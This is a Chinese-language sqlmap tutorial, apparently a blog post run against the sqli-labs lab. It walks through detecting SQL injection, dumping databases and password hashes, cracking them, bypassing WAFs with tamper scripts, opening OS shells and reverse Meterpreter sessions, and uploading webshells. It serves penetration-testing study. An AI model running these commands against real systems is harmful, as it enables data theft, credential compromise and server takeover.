Sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySQL,Oracle,Access,PostageSQL,SQL Server,IBM DB2,SQLite,Firebird,Sybase和SAP MaxDB等。
免责声明:本文所有仅供学习参考,如有他人借助本篇内容涉及任何非法网络活动,均与本人无关
Sqlmap采用了以下5种独特的SQL注入技术
1.基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入 2.基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(页面返回时间是否增加)来判断 3.基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中 4.联合查询注入:在可以使用Union的情况下注入 5.堆叠查询注入:可以同时执行多条语句的注入
Sqlmap的强大功能包括:数据库指纹识别,数据库枚举,数据提取,访问目标文件系统,并在获取完全的操作权限时执行任意命令。
sqlmap是一个跨平台的工具,很好用,是SQL注入方面的一个强大的工具。
我们可以使用-h参数查看sqlmap的参数以及使用方法。
sqlmap默认的User-Agent:sqlmap/1.1.9.22#dev(http://sqlmap.org)
sqlmap -r file
# file是我们抓取的http请求包
sqlmap -r file # -p username
# 指定参数,当有多个参数而不知道username参数存在SQL漏洞,就可以使用-p指定参数探测
sqlmap -u "127.0.0.1/username/admin*"
# 如果已经知道admin这里是注入点的话,可以后面加个*来让sqlmap对其注入
sqlmap -u "127.0.0.1/sqli/Less-1/?id=1"
# 探测该URL是否存在漏洞
sqlmap -u "127.0.0.1/sqli/Less-1/?id=1" --cookie="抓取的cookie"
# 当该网站需要登录的时候,探测该URL是否存在漏洞
sqlmap -u "127.0.0.1/sqli/Less-1/?id=1" --data=
"username=admin&password=admin&submit=Submit"
# 抓取其post提交的数据填入
sqlmap -u "127.0.0.1/sqli/Less-1/?id=1" --users
# 查看当前数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords
# 查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump
当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump
当MySQL>= 5.7时
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user
# 查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba
# 判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles
# 列出数据库所有管理员角色,仅适用于oracle数据库的时候
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs
# 爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables
# 爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns
# 爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db
# 查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables
# 爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security
-T users --columns
# 爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security
-T users -C username --dump
# 爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security
-T users -C username --dump --start 1 --stop 100
# 爆出数据库security中的users表中的username列中的前100条数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security
-T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all
# 爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all
# 爆出该数据库中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"
--tamper=space2comment.py
# 指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3
# 探测等级5,平台危险等级3,都是最高级别。
当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell
# 执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd
# 执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-pwn
# 执行--os-pwn命令,将目标权限弹到MSF上
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1"
--file-read "c:/test.txt"
# 读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1"
--file-write test.txt --file-dest "e:/hack.txt"
# 将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"
# 指定其数据库为mysql
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, SQLite, Sybase, Vertica, eXtremeDB
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent
# 使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1"
--proxy="http://127.0.0.1:8080"
# 指定代理
当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T
# 指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有
的方式当然,我们也可以直接手工指定。
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
sqlmap -d "mysql://root:root@192.168.10.130:3306/mysql" --os-shell
# 知道网站的账号密码直接连接
-v3 # 输出详细度 最大值5 会显示请求包和回复包
--threads 5 # 指定线程数
--fresh-queries # 清除缓存
--flush-session # 清空会话,重构注入
--batch # 对所有的交互式的都是默认的
--random-agent # 任意的http头
--tamper base64encode #对提交的数据进行base64编码
--referer http://www.baidu.com #伪造referer字段
--keep-alive 保持连接,当出现:
[CRITICAL] connection dropped or unknown HTTP status code received.
sqlmap is going to retry the request(s) 保错的时候,使用这个参数
对于不用登录的URL网站,直接指定其URL
sqlmap -u "http://127.0.0.1/sql/Less-1/?id=1"
# 探测该URL是否存在漏洞
在探测是否存在漏洞的过程中,Sqlmap会和我们进行交互,最后根据需要去做选择。
此次sqlmap列出来了参数id存在的注入的数据库是MySQL,Apache, PHP 5.6.40并且保存在了output。
对于需要登录的URL网站,我们需要指定其cookie,我们可以使用账号密码登录,然后抓包工具抓取其cookie填入。
sqlmap -u http://127.0.0.1/sql/Less-1/?id=1 --cookie
对于POST提交数据的漏洞,需要指定其data参数
sqlmap -u http://127.0.0.1/sql/Less-11/?id=1
--data="username=admin&passwd=admin&submit=submit"
我们也可以通过Burp抓包抓取http包保存为文件,然后指定该文件即可。这样,我们就可以不用指定其他参数,这对于需要登录的网站或者post提交参数的网站就很方便。
我们抓取了一个post提交数据的数据包保存为post.txt文件,然后我们去让sqlmap去跑包。
可以看到,已经探测到 uname 参数存在漏洞了,问我们是否还想探测其他参数,我们选择的 y ,它检测到passwd也存在漏洞了,问我们是否还想探测其他参数,我们选择 n
然后会让我们选择,在后续的测试中,是选择 uname 这个参数还是passwd这个参数作为漏洞,随便选择一个就好了。
这把我整个数据库都抛出了,没什么好说的了。
sqlmap -u http://127.0.0.1/sql/Less-11/?id=1 --users
sqlmap -u http://127.0.0.1/sql/Less-11/?id=1 --passwords
第一处询问我们是否保存密码的hash值为文件,我们不保存。(自行选择)
第二处问我们是否使用sqlmap自带的字典进行爆破,我们选择y,可以看出把密码爆破出来了,root用户的密码也为root。如果这里爆破不出来,我们可以拿hash值去字典更强大的地方爆破。
sqlmap -u http://127.0.0.1/sql/Less-11/?id=1 --current-user
sqlmap -u http://127.0.0.1/sql/Less-11/?id=1 --is-dba
sqlmap -u http://127.0.0.1/sql/Less-11/?id=1 --roles
sqlmap -u http://127.0.0.1/sql/Less-11/?id=1 --dbs
sqlmap -u http://127.0.0.1/sql/Less-11/?id=1 --current-db
sqlmap -u http://127.0.0.1/sql/Less-11/?id=1 -D security --tables
sqlmap -u http://127.0.0.1/sql/Less-11/?id=1 -D security --T
users --columns
指定数据库指定表指定列下的数据
声明:也就靶场图一乐,真实环境爆出数据库就行了。 当然真实环境也没有那么多机会
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D
security -T users -C username --dump
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D
security -T users --dump-all
# 爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D
security --dump-all
# 爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all
# 爆出该数据库中的所有数据
免责声明:这里数据库所展示部分均为靶场数据,无任何真实数据,无任何真实数据,均为测试数据,
Sqlmap在默认情况下除了适用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用--tamper参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。Sqlmap目前官方提供很多个绕过脚本。
--identify-waf # 检测是否有WAF
--random-agent # 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3 # 使用长的延时来避免触发WAF的机制,但是比较耗时
--hpp # 使用HTTP参数污染进行绕过,尤其是ASP.NET/IIS平台
--proxy=127.0.0.1:8080 --procy-cred=211:985 #使用代理进行绕过
--ignore-proxy # 禁止使用系统代理,直接连接进入注入
--flush-session # 清空会话,重构注入
--hex或 --no-cast # 进行字符码转换
--mobile # 对移动端的服务器进行注入
有时候网站会过滤掉很多字符,可以用tamper来解决(对付有些WAF也是等效)
sqlmap --tamper=space2comment.py # 用/**/代替空格
sqlmap --tamper="space2comment.py space2plus.py" # 指定多个脚本进行过滤
过滤脚本在/sqlmap/tamper下
Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5。
sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,--risk=3
Sqlmap可以在请求中伪造HTTP中的referer,当探测等级为3或者3以上时,会尝试对referer注入,可以使用referer命令来欺骗,比如,我们伪造referer头为百度。可以这样:
sqlmap -u http://127.0.0.1/sql/Less-1/?id=1
--referer http://www.baidu.com
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell
# 执行指定的sql语句
然后会提示我们输入要查询的SQL语句,注意这里的SQL语句最后不要有分号。
在数据库为MySQL、PostgreSql或者SQL Server时,可以执行该选项。
当为MySQL数据库时,需满足下面三个条件: 1.当前用户为 root 2.知道网站根目录的绝对路径 3.该数据库的 secure_file_priv 参数值为空(很多数据库的该值为NULL,这也就导致了即使当前用户是root,即使知道了网站根目录的绝对路径,也不能执行成功 --os-shell )
选择网站的脚本语言: 1.ASP 2.ASPX 3.JSP 4.PHP 选择判断网站可写目录的方法: 如果我们不知道网站的根目录的绝对路径的话,我们选择 4 暴力破解,尝试破解出根目录的绝对路径。这里因为是我们本地的环境,已经知道网站根目录的绝对地址了,所以选择 2
1.使用公共的默认目录(C:/xampp/htdocs/,C:/wamp/www,C:/Inetpub/wwwroot/) 2.自定义网络根目录绝对路径 3.指定自定义的路径文件 4.暴力破解
执行os-shell的过程中,sqlmap向网站根目录写入两个文件 tmpblwkd.php 和 tmpueqch.php。真正的木马文件是tmpblwkd.php 。如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入 x 或 q 退出 sqlmap 时,该文件才会被自动删除。
在MySQL,PostgreSQL或者SQL Server时,可以执行该选项,并且需要获得当前权限足够高才行。
sqlmap -u http://127.0.0.1/index.php?id=1 --os-pwn
选择连接的tunnel,这里选择默认的 1 就可以了
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 1
选择网站的脚本语言,这里根据情况选择
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
选择网站的路径,这里也是根据情况而定,如果知道网站路径的话,可以选择2然后手动输入
[1] common location(s) (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
然后选择连接的类型,这里选择默认的1 即可
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this
machine (default)
[2] Reverse TCP: Try to connect back from the database host to this
machine, on all ports between the specified and 65535
[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP
[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS
[5] Bind TCP: Listen on the database host for a connection
> 1
然后这里选择payload的类型,我们这里选择默认的1
which payload do you want to use?nt to use? [11563] ' (detected)]
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1
执行完成后,如果不出问题,我们就可以获得一个MSF类型的shell了。
当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1"
--file-read "/Users/macbook/Desktop/1.txt"
# 读取目标服务器的test.txt文件
当数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入),并且当前用户有权限向任意目录写文件的时候,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。
所以利用上传文件,我们可以上传一句话木马或者上传shell上去。
前提是我们知道网络的绝对路径
python sqlmap.py -u http://127.0.0.1/sql/Less-2/?id=1
--file-write /Users/macbook/Desktop/1.php --file-dest
"C:\phpStudy\PHPTutorial\WWW\2.php"
# 将本地的/Users/macbook/Desktop/1.php文件上传到目标服务器
C:\phpStudy\PHPTutorial\WWW\2.php
这里会问我们是否想验证上传成功,我们选择 y 的话,他就会读取该文件的大小,并且和本地的文件大小做比较,只要大于等于本地文件大小即说明上传功能了